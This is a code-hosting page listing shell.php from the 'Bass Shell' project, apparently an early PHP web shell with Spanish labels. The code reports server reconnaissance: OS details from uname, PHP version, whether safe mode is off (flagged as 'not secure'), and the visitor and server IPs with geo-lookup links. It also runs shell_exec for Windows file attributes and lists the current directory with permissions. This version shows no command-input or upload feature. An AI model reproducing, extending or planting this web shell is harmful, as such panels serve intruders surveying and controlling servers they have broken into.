PageRenderTime 39ms CodeModel.GetById 8ms RepoModel.GetById 1ms app.codeStats 0ms

/shell.php

http://bassshell.googlecode.com/
PHP | 157 lines | 143 code | 6 blank | 8 comment | 19 complexity | 36147daef67a5ebd1d05b1ad9c596abe MD5 | raw file
  1. <?php
  2. /*
  3. $permisosActuales=substr(sprintf('%o', fileperms("Proyecto Base Shell.docx")), -4);
  4. echo "$permisosActuales<hr>";
  5. chmod("Proyecto Base Shell.docx", 755);
  6. */
  7. ?>
  8. <?php
  9. include("funciones.php");
  10. $uname = " ".php_uname();
  11. $wnd = strpos($uname, "Windows");
  12. $lnx = strpos($uname, "Linux");
  13. $SRV = getenv("SERVER_SOFTWARE");
  14. if($lnx){
  15. $SOicon = 0;
  16. $SO = "lnx";
  17. }elseif($wnd){
  18. $SOicon = 56;#icono del sistema
  19. $SO = "wnd";
  20. }
  21. if (!ereg("PHP/".phpversion(),$SRV)) $SRV.=". PHP/".phpversion();
  22. $SRV = str_replace("PHP/".phpversion(),"<a href='?phpinfo' class='BS_link' target='_blank'><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($SRV));
  23. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on"){
  24. $safemode = "<font color=green>ON (seguro)</font>";
  25. }else{
  26. $safemode = "<font color=red>OFF (no seguro)</font>";
  27. $exec=true;
  28. }
  29. define("BassShell",basename($_SERVER['PHP_SELF']));
  30. define("_DS_",DIRECTORY_SEPARATOR);
  31. define("_DIR",getcwd());
  32. $des=$_GET['s'][0];
  33. $col=$_GET['s'][1];
  34. $n=($col=="n")?0:6;
  35. $t=($col=="t")?0:7;
  36. $f=($col=="f")?0:8;
  37. $p=($col=="p")?0:9;
  38. if($SO=='wnd' && $exec){
  39. $attrib = shell_exec('attrib');
  40. if(!empty($attrib)){
  41. $attrib=explode("\n",$attrib);
  42. }
  43. }
  44. // Atributos de los Archivos
  45. foreach($attrib as $key=>$value){
  46. $value=explode(_DS_,attribclear($value));
  47. $atrib[$value[1]]=$value[0];
  48. }
  49. unset($attrib);
  50. #attribclear($attrib[$i])
  51. if ($gest = opendir(_DIR)) {
  52. while (false !== ($archi = readdir($gest))) {
  53. if ($archi != "." && $archi != "..") {
  54. if (is_file(_DIR._DS_.$archi)) {
  55. $arch[] = array($n=>$archi,$t=>filesize($archi),$f=>filemtime($archi),$p=>permisos($archi));
  56. }elseif(is_dir(_DIR._DS_.$archi)) {
  57. $dirs[] = array($n=>$archi,$t=>filesize($archi),$f=>filemtime($archi),$p=>permisos($archi));
  58. }
  59. }
  60. }
  61. closedir($gest);
  62. }
  63. for($i=0;$i<=count($arch)-1;$i++){
  64. ksort($arch[$i]);
  65. }
  66. ($des==1)?rsort($arch):sort($arch);
  67. #print_r($arch);
  68. ?>
  69. <html>
  70. <head>
  71. <title>Bass Shell - For Aplications</title>
  72. <link rel="stylesheet" type="text/css" href="estilo.css">
  73. <style>
  74. .sistemas{
  75. background:#000000 url(imagenes/sistemas.png) repeat-x <?=$SOicon;?>px 2px;
  76. }
  77. </style>
  78. </head>
  79. <body class="body">
  80. <center>
  81. <img src="imagenes/bass_shell.png" width="500"/><hr />
  82. <div style="background:#000000; text-align:left;height:80px;">
  83. <div class="sistemas"></div>
  84. <div style="color:#CCCCCC; padding:6px 0 0 80px;"><label>uname -a:</label> <?=$uname?> <label>safe-mode:</label> <?=$safemode?></div>
  85. <div class="conexion"></div>
  86. <div style="color:#CCCCCC; padding:0 0 0 120px;">
  87. <label>Tu : </label><a href="http://www.geoiptool.com/es/?IP=<?=$_SERVER['REMOTE_ADDR']?>" target="_blank" class="BS_link">
  88. <?=$_SERVER['REMOTE_ADDR']?></a> <label>Servidor : </label><a href="http://www.geoiptool.com/es/?IP=<?=$_SERVER['SERVER_ADDR']?>" target="_blank" class="BS_link"><?=$_SERVER['SERVER_ADDR']?></a><br />
  89. <label>Tu : </label><?=gethostbyaddr($_SERVER['REMOTE_ADDR'])?></a> <label>Servidor : </label><?=gethostbyaddr($_SERVER['SERVER_ADDR'])?>
  90. <br><?=$SRV?> </div>
  91. </div>
  92. <hr />
  93. <?="<b>"._DIR."</b> <hr />";?>
  94. <div class="caja">
  95. <table width="100%" border="0" cellpadding="0">
  96. <td>
  97. <a href="<?php echo ($des==0)?"$me?s=1n":"$me?s=0n"; ?>" class="sort">
  98. Nombre &nbsp;
  99. <? if($_GET['s'][1]=='n'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortn border="none"/><? } ?>
  100. </a>
  101. </td>
  102. <td>
  103. <a href="<?php echo ($des==0)?"$me?s=1t":"$me?s=0t"; ?>" class="sort">
  104. Tama&ntilde;o &nbsp;
  105. <? if($_GET['s'][1]=='t'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortt border="none"/><? } ?>
  106. </a>
  107. </td>
  108. <td>
  109. <a href="<?php echo ($des==0)?"$me?s=1f":"$me?s=0f"; ?>" class="sort">
  110. &Uacute;ltima Modificación &nbsp;
  111. <? if($_GET['s'][1]=='f'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortf border="none"/><? } ?>
  112. </a>
  113. </td>
  114. <?=(($lnx)?"<td>Due&ntilde;o/grupo</td>":"")?>
  115. <td>
  116. <a href="<?php echo ($des==0)?"$me?s=1p":"$me?s=0p"; ?>" class="sort">
  117. Permisos
  118. <? if($_GET['s'][1]=='p'){?><img src="imagenes/iconos/<?php echo ($des==0)?"down":"up";?>.gif" id=sortf border="none"/><? } ?>
  119. </a>
  120. </td>
  121. <?=(($wnd)?"<td class=\"sort\">Atributos</td>":"")?>
  122. <td class="sort">Check</td>
  123. <?php
  124. foreach ($dirs as $val) {
  125. echo "<tr>
  126. <td><img src='imagenes/iconos/folder.png'/> [".htmlentities($val[$n])."]</td>
  127. <td>".$val[$t]."</td>
  128. <td>".$val[$f]."</td>".
  129. (($lnx)?"<td>Due&ntilde;o/grupo</td>":"").
  130. "<td>".$val[$p]."</td>".
  131. (($wnd)?"<td>".($atrib[$val[$n]])."</td>":"").
  132. "<td><input type=checkbox value=''/></td>";
  133. }
  134. ?>
  135. <?php
  136. foreach ($arch as $val) {
  137. echo "<tr>
  138. <td><img src='imagenes/iconos/text.png'/>".htmlentities($val[$n])."</td>
  139. <td>".$val[$t]."</td>
  140. <td>".$val[$f]."</td>".
  141. (($lnx)?"<td>Due&ntilde;o/grupo</td>":"").
  142. "<td>".$val[$p]."</td>".
  143. (($wnd)?"<td>".($atrib[$val[$n]])."</td>":"").
  144. "<td><input type=checkbox value=''/></td>";
  145. }
  146. ?>
  147. </table>
  148. </div>
  149. </center>
  150. </body>
  151. </html>